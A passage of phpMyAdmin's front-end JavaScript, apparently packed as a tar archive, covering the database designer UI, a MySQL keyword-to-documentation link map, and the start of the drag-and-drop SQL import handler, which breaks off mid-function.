{ DesignerMove.toggleFullscreen(); return false; }); $('#addOtherDbTables').on('click', function () { DesignerMove.addOtherDbTables(); return false; }); $('#newPage').on('click', function () { DesignerMove.new(); return false; }); $('#editPage').on('click', function () { DesignerMove.editPages(); return false; }); $('#savePos').on('click', function () { DesignerMove.save3(); return false; }); $('#SaveAs').on('click', function () { DesignerMove.saveAs(); $(document).on('ajaxStop', function () { $('#selected_value').on('click', function () { $('#savePageNewRadio').prop('checked', true); }); }); return false; }); $('#delPages').on('click', function () { DesignerMove.deletePages(); return false; }); $('#StartTableNew').on('click', function () { DesignerMove.startTableNew(); return false; }); $('#rel_button').on('click', function () { DesignerMove.startRelation(); return false; }); $('#display_field_button').on('click', function () { DesignerMove.startDisplayField(); return false; }); $('#reloadPage').on('click', function () { DesignerMove.loadPage(selectedPage); }); $('#angular_direct_button').on('click', function () { DesignerMove.angularDirect(); return false; }); $('#grid_button').on('click', function () { DesignerMove.grid(); return false; }); $('#key_SB_all').on('click', function () { DesignerMove.smallTabAll(this); return false; }); $('#SmallTabInvert').on('click', function () { DesignerMove.smallTabInvert(); return false; }); $('#relLineInvert').on('click', function () { DesignerMove.relationLinesInvert(); return false; }); $('#exportPages').on('click', function () { DesignerMove.exportPages(); return false; }); $('#query_builder').on('click', function () { DesignerHistory.buildQuery('SQL Query on Database', 0); }); $('#key_Left_Right').on('click', function () { DesignerMove.sideMenuRight(this); return false; }); $('#side_menu').on('mouseenter', function () { DesignerMove.showText(); return false; }); $('#side_menu').on('mouseleave', function () { DesignerMove.hideText(); return false; }); $('#pin_Text').on('click', function () { DesignerMove.pinText(this); return false; }); $('#canvas').on('click', function (event) { DesignerMove.canvasClick(this, event); }); $('#key_HS_all').on('click', function () { DesignerMove.hideTabAll(this); return false; }); $('#key_HS').on('click', function () { DesignerMove.noHaveConstr(this); return false; }); $('.designer_tab').each(DesignerMove.enableTableEvents); $('.designer_tab').each(DesignerMove.addTableToTablesList); $('input#del_button').on('click', function () { DesignerMove.updRelation(); }); $('input#cancel_button').on('click', function () { document.getElementById('layer_upd_relation').style.display = 'none'; DesignerMove.reload(); }); $('input#ok_add_object').on('click', function () { DesignerMove.addObject($('#ok_add_object_db_name').val(), $('#ok_add_object_table_name').val(), $('#ok_add_object_col_name').val(), $('#ok_add_object_db_and_table_name_url').val()); }); $('input#cancel_close_option').on('click', function () { DesignerMove.closeOption(); }); $('input#ok_new_rel_panel').on('click', function () { DesignerMove.newRelation(); }); $('input#cancel_new_rel_panel').on('click', function () { document.getElementById('layer_new_relation').style.display = 'none'; }); DesignerMove.enablePageContentEvents(); });dist/designer/objects.js000066600000001211151724472050011304 0ustar00// eslint-disable-next-line no-unused-vars var DesignerObjects = { PdfPage: function (dbName, pageDescr, tblCords) { // no dot set the auto increment before put() in the database // issue #12900 // eslint-disable-next-line no-unused-vars var pgNr; this.dbName = dbName; this.pageDescr = pageDescr; this.tblCords = tblCords; }, TableCoordinate: function (dbName, tableName, pdfPgNr, x, y) { // no dot set the auto increment before put() in the database // issue #12900 // var id; this.dbName = dbName; this.tableName = tableName; this.pdfPgNr = pdfPgNr; this.x = x; this.y = y; } };dist/designer/page.js000066600000012727151724472050010605 0ustar00/* global DesignerOfflineDB */ // js/designer/database.js // eslint-disable-next-line no-unused-vars /* global db, selectedPage:writable */ // js/designer/init.js /* global DesignerMove */ // js/designer/move.js /* global DesignerObjects */ // js/designer/objects.js var DesignerPage = {}; DesignerPage.showTablesInLandingPage = function (db) { DesignerPage.loadFirstPage(db, function (page) { if (page) { DesignerPage.loadHtmlForPage(page.pgNr); selectedPage = page.pgNr; } else { DesignerPage.showNewPageTables(true); } }); }; DesignerPage.saveToNewPage = function (db, pageName, tablePositions, callback) { DesignerPage.createNewPage(db, pageName, function (page) { if (page) { var tblCords = []; var saveCallback = function (id) { tblCords.push(id); if (tablePositions.length === tblCords.length) { page.tblCords = tblCords; DesignerOfflineDB.addObject('pdf_pages', page); } }; for (var pos = 0; pos < tablePositions.length; pos++) { tablePositions[pos].pdfPgNr = page.pgNr; DesignerPage.saveTablePositions(tablePositions[pos], saveCallback); } if (typeof callback !== 'undefined') { callback(page); } } }); }; DesignerPage.saveToSelectedPage = function (db, pageId, pageName, tablePositions, callback) { DesignerPage.deletePage(pageId); DesignerPage.saveToNewPage(db, pageName, tablePositions, function (page) { if (typeof callback !== 'undefined') { callback(page); } selectedPage = page.pgNr; }); }; DesignerPage.createNewPage = function (db, pageName, callback) { var newPage = new DesignerObjects.PdfPage(db, pageName, []); DesignerOfflineDB.addObject('pdf_pages', newPage, function (pgNr) { newPage.pgNr = pgNr; if (typeof callback !== 'undefined') { callback(newPage); } }); }; DesignerPage.saveTablePositions = function (positions, callback) { DesignerOfflineDB.addObject('table_coords', positions, callback); }; DesignerPage.createPageList = function (db, callback) { DesignerOfflineDB.loadAllObjects('pdf_pages', function (pages) { var html = ''; for (var p = 0; p < pages.length; p++) { var page = pages[p]; if (page.dbName === db) { html += ''; } } if (typeof callback !== 'undefined') { callback(html); } }); }; DesignerPage.deletePage = function (pageId, callback) { DesignerOfflineDB.loadObject('pdf_pages', pageId, function (page) { if (page) { for (var i = 0; i < page.tblCords.length; i++) { DesignerOfflineDB.deleteObject('table_coords', page.tblCords[i]); } DesignerOfflineDB.deleteObject('pdf_pages', pageId, callback); } }); }; DesignerPage.loadFirstPage = function (db, callback) { DesignerOfflineDB.loadAllObjects('pdf_pages', function (pages) { var firstPage = null; for (var i = 0; i < pages.length; i++) { var page = pages[i]; if (page.dbName === db) { // give preference to a page having same name as the db if (page.pageDescr === db) { callback(page); return; } if (firstPage === null) { firstPage = page; } } } callback(firstPage); }); }; DesignerPage.showNewPageTables = function (check) { var allTables = $('#id_scroll_tab').find('td input:checkbox'); allTables.prop('checked', check); for (var tab = 0; tab < allTables.length; tab++) { var input = allTables[tab]; if (input.value) { var element = document.getElementById(input.value); element.style.top = DesignerPage.getRandom(550, 20) + 'px'; element.style.left = DesignerPage.getRandom(700, 20) + 'px'; DesignerMove.visibleTab(input, input.value); } } selectedPage = -1; $('#page_name').text(Messages.strUntitled); DesignerMove.markUnsaved(); }; DesignerPage.loadHtmlForPage = function (pageId) { DesignerPage.showNewPageTables(true); DesignerPage.loadPageObjects(pageId, function (page, tblCords) { $('#name-panel').find('#page_name').text(page.pageDescr); var tableMissing = false; for (var t = 0; t < tblCords.length; t++) { var tbId = db + '.' + tblCords[t].tableName; var table = document.getElementById(tbId); if (table === null) { tableMissing = true; continue; } table.style.top = tblCords[t].y + 'px'; table.style.left = tblCords[t].x + 'px'; var checkbox = document.getElementById('check_vis_' + tbId); checkbox.checked = true; DesignerMove.visibleTab(checkbox, checkbox.value); } DesignerMove.markSaved(); if (tableMissing === true) { DesignerMove.markUnsaved(); Functions.ajaxShowMessage(Messages.strSavedPageTableMissing); } selectedPage = page.pgNr; }); }; DesignerPage.loadPageObjects = function (pageId, callback) { DesignerOfflineDB.loadObject('pdf_pages', pageId, function (page) { var tblCords = []; var count = page.tblCords.length; for (var i = 0; i < count; i++) { DesignerOfflineDB.loadObject('table_coords', page.tblCords[i], function (tblCord) { tblCords.push(tblCord); if (tblCords.length === count) { if (typeof callback !== 'undefined') { callback(page, tblCords); } } }); } }); }; DesignerPage.getRandom = function (max, min) { var val = Math.random() * (max - min) + min; return Math.floor(val); };dist/doclinks.js000066600000043544151724472050007700 0ustar00/** * Definition of links to MySQL documentation. */ // eslint-disable-next-line no-unused-vars var mysqlDocKeyword = { /* Multi word */ 'CHARACTER SET': ['charset'], 'SHOW AUTHORS': ['show-authors'], 'SHOW BINARY LOGS': ['show-binary-logs'], 'SHOW BINLOG EVENTS': ['show-binlog-events'], 'SHOW CHARACTER SET': ['show-character-set'], 'SHOW COLLATION': ['show-collation'], 'SHOW COLUMNS': ['show-columns'], 'SHOW CONTRIBUTORS': ['show-contributors'], 'SHOW CREATE DATABASE': ['show-create-database'], 'SHOW CREATE EVENT': ['show-create-event'], 'SHOW CREATE FUNCTION': ['show-create-function'], 'SHOW CREATE PROCEDURE': ['show-create-procedure'], 'SHOW CREATE TABLE': ['show-create-table'], 'SHOW CREATE TRIGGER': ['show-create-trigger'], 'SHOW CREATE VIEW': ['show-create-view'], 'SHOW DATABASES': ['show-databases'], 'SHOW ENGINE': ['show-engine'], 'SHOW ENGINES': ['show-engines'], 'SHOW ERRORS': ['show-errors'], 'SHOW EVENTS': ['show-events'], 'SHOW FUNCTION CODE': ['show-function-code'], 'SHOW FUNCTION STATUS': ['show-function-status'], 'SHOW GRANTS': ['show-grants'], 'SHOW INDEX': ['show-index'], 'SHOW MASTER STATUS': ['show-master-status'], 'SHOW OPEN TABLES': ['show-open-tables'], 'SHOW PLUGINS': ['show-plugins'], 'SHOW PRIVILEGES': ['show-privileges'], 'SHOW PROCEDURE CODE': ['show-procedure-code'], 'SHOW PROCEDURE STATUS': ['show-procedure-status'], 'SHOW PROCESSLIST': ['show-processlist'], 'SHOW PROFILE': ['show-profile'], 'SHOW PROFILES': ['show-profiles'], 'SHOW RELAYLOG EVENTS': ['show-relaylog-events'], 'SHOW SLAVE HOSTS': ['show-slave-hosts'], 'SHOW SLAVE STATUS': ['show-slave-status'], 'SHOW STATUS': ['show-status'], 'SHOW TABLE STATUS': ['show-table-status'], 'SHOW TABLES': ['show-tables'], 'SHOW TRIGGERS': ['show-triggers'], 'SHOW VARIABLES': ['show-variables'], 'SHOW WARNINGS': ['show-warnings'], 'LOAD DATA INFILE': ['load-data'], 'LOAD XML': ['load-xml'], 'LOCK TABLES': ['lock-tables'], 'UNLOCK TABLES': ['lock-tables'], 'ALTER DATABASE': ['alter-database'], 'ALTER EVENT': ['alter-event'], 'ALTER LOGFILE GROUP': ['alter-logfile-group'], 'ALTER FUNCTION': ['alter-function'], 'ALTER PROCEDURE': ['alter-procedure'], 'ALTER SERVER': ['alter-server'], 'ALTER TABLE': ['alter-table'], 'ALTER TABLESPACE': ['alter-tablespace'], 'ALTER VIEW': ['alter-view'], 'CREATE DATABASE': ['create-database'], 'CREATE EVENT': ['create-event'], 'CREATE FUNCTION': ['create-function'], 'CREATE INDEX': ['create-index'], 'CREATE LOGFILE GROUP': ['create-logfile-group'], 'CREATE PROCEDURE': ['create-procedure'], 'CREATE SERVER': ['create-server'], 'CREATE TABLE': ['create-table'], 'CREATE TABLESPACE': ['create-tablespace'], 'CREATE TRIGGER': ['create-trigger'], 'CREATE VIEW': ['create-view'], 'DROP DATABASE': ['drop-database'], 'DROP EVENT': ['drop-event'], 'DROP FUNCTION': ['drop-function'], 'DROP INDEX': ['drop-index'], 'DROP LOGFILE GROUP': ['drop-logfile-group'], 'DROP PROCEDURE': ['drop-procedure'], 'DROP SERVER': ['drop-server'], 'DROP TABLE': ['drop-table'], 'DROP TABLESPACE': ['drop-tablespace'], 'DROP TRIGGER': ['drop-trigger'], 'DROP VIEW': ['drop-view'], 'RENAME TABLE': ['rename-table'], 'TRUNCATE TABLE': ['truncate-table'], /* Statements */ 'SELECT': ['select'], 'SET': ['set'], 'EXPLAIN': ['explain'], 'DESCRIBE': ['describe'], 'DELETE': ['delete'], 'SHOW': ['show'], 'UPDATE': ['update'], 'INSERT': ['insert'], 'REPLACE': ['replace'], 'CALL': ['call'], 'DO': ['do'], 'HANDLER': ['handler'], 'COLLATE': ['charset-collations'], /* Functions */ 'ABS': ['mathematical-functions', 'function_abs'], 'ACOS': ['mathematical-functions', 'function_acos'], 'ADDDATE': ['date-and-time-functions', 'function_adddate'], 'ADDTIME': ['date-and-time-functions', 'function_addtime'], 'AES_DECRYPT': ['encryption-functions', 'function_aes_decrypt'], 'AES_ENCRYPT': ['encryption-functions', 'function_aes_encrypt'], 'AND': ['logical-operators', 'operator_and'], 'ASCII': ['string-functions', 'function_ascii'], 'ASIN': ['mathematical-functions', 'function_asin'], 'ATAN2': ['mathematical-functions', 'function_atan2'], 'ATAN': ['mathematical-functions', 'function_atan'], 'AVG': ['aggregate-functions', 'function_avg'], 'BENCHMARK': ['information-functions', 'function_benchmark'], 'BIN': ['string-functions', 'function_bin'], 'BINARY': ['cast-functions', 'operator_binary'], 'BIT_AND': ['aggregate-functions', 'function_bit_and'], 'BIT_COUNT': ['bit-functions', 'function_bit_count'], 'BIT_LENGTH': ['string-functions', 'function_bit_length'], 'BIT_OR': ['aggregate-functions', 'function_bit_or'], 'BIT_XOR': ['aggregate-functions', 'function_bit_xor'], 'CASE': ['control-flow-functions', 'operator_case'], 'CAST': ['cast-functions', 'function_cast'], 'CEIL': ['mathematical-functions', 'function_ceil'], 'CEILING': ['mathematical-functions', 'function_ceiling'], 'CHAR_LENGTH': ['string-functions', 'function_char_length'], 'CHAR': ['string-functions', 'function_char'], 'CHARACTER_LENGTH': ['string-functions', 'function_character_length'], 'CHARSET': ['information-functions', 'function_charset'], 'COALESCE': ['comparison-operators', 'function_coalesce'], 'COERCIBILITY': ['information-functions', 'function_coercibility'], 'COLLATION': ['information-functions', 'function_collation'], 'COMPRESS': ['encryption-functions', 'function_compress'], 'CONCAT_WS': ['string-functions', 'function_concat_ws'], 'CONCAT': ['string-functions', 'function_concat'], 'CONNECTION_ID': ['information-functions', 'function_connection_id'], 'CONV': ['mathematical-functions', 'function_conv'], 'CONVERT_TZ': ['date-and-time-functions', 'function_convert_tz'], 'Convert': ['cast-functions', 'function_convert'], 'COS': ['mathematical-functions', 'function_cos'], 'COT': ['mathematical-functions', 'function_cot'], 'COUNT': ['aggregate-functions', 'function_count'], 'CRC32': ['mathematical-functions', 'function_crc32'], 'CURDATE': ['date-and-time-functions', 'function_curdate'], 'CURRENT_DATE': ['date-and-time-functions', 'function_current_date'], 'CURRENT_TIME': ['date-and-time-functions', 'function_current_time'], 'CURRENT_TIMESTAMP': ['date-and-time-functions', 'function_current_timestamp'], 'CURRENT_USER': ['information-functions', 'function_current_user'], 'CURTIME': ['date-and-time-functions', 'function_curtime'], 'DATABASE': ['information-functions', 'function_database'], 'DATE_ADD': ['date-and-time-functions', 'function_date_add'], 'DATE_FORMAT': ['date-and-time-functions', 'function_date_format'], 'DATE_SUB': ['date-and-time-functions', 'function_date_sub'], 'DATE': ['date-and-time-functions', 'function_date'], 'DATEDIFF': ['date-and-time-functions', 'function_datediff'], 'DAY': ['date-and-time-functions', 'function_day'], 'DAYNAME': ['date-and-time-functions', 'function_dayname'], 'DAYOFMONTH': ['date-and-time-functions', 'function_dayofmonth'], 'DAYOFWEEK': ['date-and-time-functions', 'function_dayofweek'], 'DAYOFYEAR': ['date-and-time-functions', 'function_dayofyear'], 'DECLARE': ['declare', 'declare'], 'DECODE': ['encryption-functions', 'function_decode'], 'DEFAULT': ['miscellaneous-functions', 'function_default'], 'DEGREES': ['mathematical-functions', 'function_degrees'], 'DES_DECRYPT': ['encryption-functions', 'function_des_decrypt'], 'DES_ENCRYPT': ['encryption-functions', 'function_des_encrypt'], 'DIV': ['arithmetic-functions', 'operator_div'], 'ELT': ['string-functions', 'function_elt'], 'ENCODE': ['encryption-functions', 'function_encode'], 'ENCRYPT': ['encryption-functions', 'function_encrypt'], 'EXP': ['mathematical-functions', 'function_exp'], 'EXPORT_SET': ['string-functions', 'function_export_set'], 'EXTRACT': ['date-and-time-functions', 'function_extract'], 'ExtractValue': ['xml-functions', 'function_extractvalue'], 'FIELD': ['string-functions', 'function_field'], 'FIND_IN_SET': ['string-functions', 'function_find_in_set'], 'FLOOR': ['mathematical-functions', 'function_floor'], 'FORMAT': ['string-functions', 'function_format'], 'FOUND_ROWS': ['information-functions', 'function_found_rows'], 'FROM_DAYS': ['date-and-time-functions', 'function_from_days'], 'FROM_UNIXTIME': ['date-and-time-functions', 'function_from_unixtime'], 'GET_FORMAT': ['date-and-time-functions', 'function_get_format'], 'GET_LOCK': ['miscellaneous-functions', 'function_get_lock'], 'GREATEST': ['comparison-operators', 'function_greatest'], 'GROUP_CONCAT': ['aggregate-functions', 'function_group_concat'], 'HEX': ['string-functions', 'function_hex'], 'HOUR': ['date-and-time-functions', 'function_hour'], 'IF': ['control-flow-functions', 'function_if'], 'IFNULL': ['control-flow-functions', 'function_ifnull'], 'IN': ['comparison-operators', 'function_in'], 'INET_ATON': ['miscellaneous-functions', 'function_inet_aton'], 'INET_NTOA': ['miscellaneous-functions', 'function_inet_ntoa'], 'INSTR': ['string-functions', 'function_instr'], 'INTERVAL': ['comparison-operators', 'function_interval'], 'IS_FREE_LOCK': ['miscellaneous-functions', 'function_is_free_lock'], 'IS_USED_LOCK': ['miscellaneous-functions', 'function_is_used_lock'], 'IS': ['comparison-operators', 'operator_is'], 'ISNULL': ['comparison-operators', 'function_isnull'], 'LAST_DAY': ['date-and-time-functions', 'function_last_day'], 'LAST_INSERT_ID': ['information-functions', 'function_last_insert_id'], 'LCASE': ['string-functions', 'function_lcase'], 'LEAST': ['comparison-operators', 'function_least'], 'LEFT': ['string-functions', 'function_left'], 'LENGTH': ['string-functions', 'function_length'], 'LIKE': ['string-comparison-functions', 'operator_like'], 'LN': ['mathematical-functions', 'function_ln'], 'LOAD_FILE': ['string-functions', 'function_load_file'], 'LOCALTIME': ['date-and-time-functions', 'function_localtime'], 'LOCALTIMESTAMP': ['date-and-time-functions', 'function_localtimestamp'], 'LOCATE': ['string-functions', 'function_locate'], 'LOG10': ['mathematical-functions', 'function_log10'], 'LOG2': ['mathematical-functions', 'function_log2'], 'LOG': ['mathematical-functions', 'function_log'], 'LOWER': ['string-functions', 'function_lower'], 'LPAD': ['string-functions', 'function_lpad'], 'LTRIM': ['string-functions', 'function_ltrim'], 'MAKE_SET': ['string-functions', 'function_make_set'], 'MAKEDATE': ['date-and-time-functions', 'function_makedate'], 'MAKETIME': ['date-and-time-functions', 'function_maketime'], 'MASTER_POS_WAIT': ['miscellaneous-functions', 'function_master_pos_wait'], 'MATCH': ['fulltext-search', 'function_match'], 'MAX': ['aggregate-functions', 'function_max'], 'MD5': ['encryption-functions', 'function_md5'], 'MICROSECOND': ['date-and-time-functions', 'function_microsecond'], 'MID': ['string-functions', 'function_mid'], 'MIN': ['aggregate-functions', 'function_min'], 'MINUTE': ['date-and-time-functions', 'function_minute'], 'MOD': ['mathematical-functions', 'function_mod'], 'MONTH': ['date-and-time-functions', 'function_month'], 'MONTHNAME': ['date-and-time-functions', 'function_monthname'], 'NAME_CONST': ['miscellaneous-functions', 'function_name_const'], 'NOT': ['logical-operators', 'operator_not'], 'NOW': ['date-and-time-functions', 'function_now'], 'NULLIF': ['control-flow-functions', 'function_nullif'], 'OCT': ['mathematical-functions', 'function_oct'], 'OCTET_LENGTH': ['string-functions', 'function_octet_length'], 'OLD_PASSWORD': ['encryption-functions', 'function_old_password'], 'OR': ['logical-operators', 'operator_or'], 'ORD': ['string-functions', 'function_ord'], 'PASSWORD': ['encryption-functions', 'function_password'], 'PERIOD_ADD': ['date-and-time-functions', 'function_period_add'], 'PERIOD_DIFF': ['date-and-time-functions', 'function_period_diff'], 'PI': ['mathematical-functions', 'function_pi'], 'POSITION': ['string-functions', 'function_position'], 'POW': ['mathematical-functions', 'function_pow'], 'POWER': ['mathematical-functions', 'function_power'], 'QUARTER': ['date-and-time-functions', 'function_quarter'], 'QUOTE': ['string-functions', 'function_quote'], 'RADIANS': ['mathematical-functions', 'function_radians'], 'RAND': ['mathematical-functions', 'function_rand'], 'REGEXP': ['regexp', 'operator_regexp'], 'RELEASE_LOCK': ['miscellaneous-functions', 'function_release_lock'], 'REPEAT': ['string-functions', 'function_repeat'], 'REVERSE': ['string-functions', 'function_reverse'], 'RIGHT': ['string-functions', 'function_right'], 'RLIKE': ['regexp', 'operator_rlike'], 'ROUND': ['mathematical-functions', 'function_round'], 'ROW_COUNT': ['information-functions', 'function_row_count'], 'RPAD': ['string-functions', 'function_rpad'], 'RTRIM': ['string-functions', 'function_rtrim'], 'SCHEMA': ['information-functions', 'function_schema'], 'SEC_TO_TIME': ['date-and-time-functions', 'function_sec_to_time'], 'SECOND': ['date-and-time-functions', 'function_second'], 'SESSION_USER': ['information-functions', 'function_session_user'], 'SHA': ['encryption-functions', 'function_sha1'], 'SHA1': ['encryption-functions', 'function_sha1'], 'SIGN': ['mathematical-functions', 'function_sign'], 'SIN': ['mathematical-functions', 'function_sin'], 'SLEEP': ['miscellaneous-functions', 'function_sleep'], 'SOUNDEX': ['string-functions', 'function_soundex'], 'SPACE': ['string-functions', 'function_space'], 'SQRT': ['mathematical-functions', 'function_sqrt'], 'STD': ['aggregate-functions', 'function_std'], 'STDDEV_POP': ['aggregate-functions', 'function_stddev_pop'], 'STDDEV_SAMP': ['aggregate-functions', 'function_stddev_samp'], 'STDDEV': ['aggregate-functions', 'function_stddev'], 'STR_TO_DATE': ['date-and-time-functions', 'function_str_to_date'], 'STRCMP': ['string-comparison-functions', 'function_strcmp'], 'SUBDATE': ['date-and-time-functions', 'function_subdate'], 'SUBSTR': ['string-functions', 'function_substr'], 'SUBSTRING_INDEX': ['string-functions', 'function_substring_index'], 'SUBSTRING': ['string-functions', 'function_substring'], 'SUBTIME': ['date-and-time-functions', 'function_subtime'], 'SUM': ['aggregate-functions', 'function_sum'], 'SYSDATE': ['date-and-time-functions', 'function_sysdate'], 'SYSTEM_USER': ['information-functions', 'function_system_user'], 'TAN': ['mathematical-functions', 'function_tan'], 'TIME_FORMAT': ['date-and-time-functions', 'function_time_format'], 'TIME_TO_SEC': ['date-and-time-functions', 'function_time_to_sec'], 'TIME': ['date-and-time-functions', 'function_time'], 'TIMEDIFF': ['date-and-time-functions', 'function_timediff'], 'TIMESTAMP': ['date-and-time-functions', 'function_timestamp'], 'TIMESTAMPADD': ['date-and-time-functions', 'function_timestampadd'], 'TIMESTAMPDIFF': ['date-and-time-functions', 'function_timestampdiff'], 'TO_DAYS': ['date-and-time-functions', 'function_to_days'], 'TRIM': ['string-functions', 'function_trim'], 'TRUNCATE': ['mathematical-functions', 'function_truncate'], 'UCASE': ['string-functions', 'function_ucase'], 'UNCOMPRESS': ['encryption-functions', 'function_uncompress'], 'UNCOMPRESSED_LENGTH': ['encryption-functions', 'function_uncompressed_length'], 'UNHEX': ['string-functions', 'function_unhex'], 'UNIX_TIMESTAMP': ['date-and-time-functions', 'function_unix_timestamp'], 'UpdateXML': ['xml-functions', 'function_updatexml'], 'UPPER': ['string-functions', 'function_upper'], 'USER': ['information-functions', 'function_user'], 'UTC_DATE': ['date-and-time-functions', 'function_utc_date'], 'UTC_TIME': ['date-and-time-functions', 'function_utc_time'], 'UTC_TIMESTAMP': ['date-and-time-functions', 'function_utc_timestamp'], 'UUID_SHORT': ['miscellaneous-functions', 'function_uuid_short'], 'UUID': ['miscellaneous-functions', 'function_uuid'], 'VALUES': ['miscellaneous-functions', 'function_values'], 'VAR_POP': ['aggregate-functions', 'function_var_pop'], 'VAR_SAMP': ['aggregate-functions', 'function_var_samp'], 'VARIANCE': ['aggregate-functions', 'function_variance'], 'VERSION': ['information-functions', 'function_version'], 'WEEK': ['date-and-time-functions', 'function_week'], 'WEEKDAY': ['date-and-time-functions', 'function_weekday'], 'WEEKOFYEAR': ['date-and-time-functions', 'function_weekofyear'], 'XOR': ['logical-operators', 'operator_xor'], 'YEAR': ['date-and-time-functions', 'function_year'], 'YEARWEEK': ['date-and-time-functions', 'function_yearweek'], 'SOUNDS_LIKE': ['string-functions', 'operator_sounds-like'], 'IS_NOT_NULL': ['comparison-operators', 'operator_is-not-null'], 'IS_NOT': ['comparison-operators', 'operator_is-not'], 'IS_NULL': ['comparison-operators', 'operator_is-null'], 'NOT_LIKE': ['string-comparison-functions', 'operator_not-like'], 'NOT_REGEXP': ['regexp', 'operator_not-regexp'], 'COUNT_DISTINCT': ['aggregate-functions', 'function_count-distinct'], 'NOT_IN': ['comparison-operators', 'function_not-in'] }; // eslint-disable-next-line no-unused-vars var mysqlDocBuiltin = { 'TINYINT': ['numeric-types'], 'SMALLINT': ['numeric-types'], 'MEDIUMINT': ['numeric-types'], 'INT': ['numeric-types'], 'BIGINT': ['numeric-types'], 'DECIMAL': ['numeric-types'], 'FLOAT': ['numeric-types'], 'DOUBLE': ['numeric-types'], 'REAL': ['numeric-types'], 'BIT': ['numeric-types'], 'BOOLEAN': ['numeric-types'], 'SERIAL': ['numeric-types'], 'DATE': ['date-and-time-types'], 'DATETIME': ['date-and-time-types'], 'TIMESTAMP': ['date-and-time-types'], 'TIME': ['date-and-time-types'], 'YEAR': ['date-and-time-types'], 'CHAR': ['string-types'], 'VARCHAR': ['string-types'], 'TINYTEXT': ['string-types'], 'TEXT': ['string-types'], 'MEDIUMTEXT': ['string-types'], 'LONGTEXT': ['string-types'], 'BINARY': ['string-types'], 'VARBINARY': ['string-types'], 'TINYBLOB': ['string-types'], 'MEDIUMBLOB': ['string-types'], 'BLOB': ['string-types'], 'LONGBLOB': ['string-types'], 'ENUM': ['string-types'], 'SET': ['string-types'] };dist/drag_drop_import.js000066600000030217151724472050011416 0ustar00/* This script handles PMA Drag Drop Import, loaded only when configuration is enabled.*/ /** * Class to handle PMA Drag and Drop Import * feature */ var DragDropImport = { /** * @var {number}, count of total uploads in this view */ uploadCount: 0, /** * @var {number}, count of live uploads */ liveUploadCount: 0, /** * @var {string[]} array, allowed extensions */ allowedExtensions: ['sql', 'xml', 'ldi', 'mediawiki', 'shp'], /** * @var {string[]} array, allowed extensions for compressed files */ allowedCompressedExtensions: ['gz', 'bz2', 'zip'], /** * @var {object[]}, array to store message returned by /import-status */ importStatus: [], /** * Checks if any dropped file has valid extension or not * * @param {string} file filename * * @return {string}, extension for valid extension, '' otherwise */ getExtension: function (file) { var arr = file.split('.'); var ext = arr[arr.length - 1]; // check if compressed if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedCompressedExtensions) !== -1) { ext = arr[arr.length - 2]; } // Now check for extension if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedExtensions) !== -1) { return ext; } return ''; }, /** * Shows upload progress for different sql uploads * * @param {string} hash, hash for specific file upload * @param {number} percent (float), file upload percentage * * @return {void} */ setProgress: function (hash, percent) { $('.pma_sql_import_status div li[data-hash="' + hash + '"]').children('progress').val(percent); }, /** * Function to upload the file asynchronously * * @param {object} formData FormData object for a specific file * @param {string} hash hash of the current file upload * * @return {void} */ sendFileToServer: function (formData, hash) { var jqXHR = $.ajax({ xhr: function () { var xhrobj = $.ajaxSettings.xhr(); if (xhrobj.upload) { xhrobj.upload.addEventListener('progress', function (event) { var percent = 0; var position = event.loaded || event.position; var total = event.total; if (event.lengthComputable) { percent = Math.ceil(position / total * 100); } // Set progress DragDropImport.setProgress(hash, percent); }, false); } return xhrobj; }, url: 'index.php?route=/import', type: 'POST', contentType: false, processData: false, cache: false, data: formData, success: function (data) { DragDropImport.importFinished(hash, false, data.success); if (!data.success) { DragDropImport.importStatus[DragDropImport.importStatus.length] = { hash: hash, message: data.error }; } } }); // -- provide link to cancel the upload $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize').html('' + Messages.dropImportMessageCancel + ''); // -- add event listener to this link to abort upload operation $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status').on('click', function () { if ($(this).attr('task') === 'cancel') { jqXHR.abort(); $(this).html('' + Messages.dropImportMessageAborted + ''); DragDropImport.importFinished(hash, true, false); } else if ($(this).children('span').html() === Messages.dropImportMessageFailed) { // -- view information var $this = $(this); $.each(DragDropImport.importStatus, function (key, value) { if (value.hash === hash) { $('.pma_drop_result:visible').remove(); var filename = $this.parent('span').attr('data-filename'); $('body').append('

' + Messages.dropImportImportResultHeader + ' - ' + Functions.escapeHtml(filename) + 'x

' + value.message + '
'); $('.pma_drop_result').draggable(); // to make this dialog draggable } }); } }); }, /** * Triggered when an object is dragged into the PMA UI * * @param {MouseEvent} event obj * * @return {void} */ dragEnter: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); if (!DragDropImport.hasFiles(event)) { return; } if (CommonParams.get('db') === '') { $('.pma_drop_handler').html(Messages.dropImportSelectDB); } else { $('.pma_drop_handler').html(Messages.dropImportDropFiles); } $('.pma_drop_handler').fadeIn(); }, /** * Check if dragged element contains Files * * @param event the event object * * @return {boolean} */ hasFiles: function (event) { return !(typeof event.originalEvent.dataTransfer.types === 'undefined' || $.inArray('Files', event.originalEvent.dataTransfer.types) < 0 || $.inArray('application/x-moz-nativeimage', event.originalEvent.dataTransfer.types) >= 0); }, /** * Triggered when dragged file is being dragged over PMA UI * * @param {MouseEvent} event obj * * @return {void} */ dragOver: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); if (!DragDropImport.hasFiles(event)) { return; } $('.pma_drop_handler').fadeIn(); }, /** * Triggered when dragged objects are left * * @param {MouseEvent} event obj * * @return {void} */ dragLeave: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); var $dropHandler = $('.pma_drop_handler'); $dropHandler.clearQueue().stop(); $dropHandler.fadeOut(); $dropHandler.html(Messages.dropImportDropFiles); }, /** * Called when upload has finished * * @param {string} hash unique hash for a certain upload * @param {boolean} aborted true if upload was aborted * @param {boolean} status status of sql upload, as sent by server * * @return {void} */ importFinished: function (hash, aborted, status) { $('.pma_sql_import_status div li[data-hash="' + hash + '"]').children('progress').hide(); var icon = 'icon ic_s_success'; // -- provide link to view upload status if (!aborted) { if (status) { $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status').html('' + Messages.dropImportMessageSuccess + ''); } else { $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize 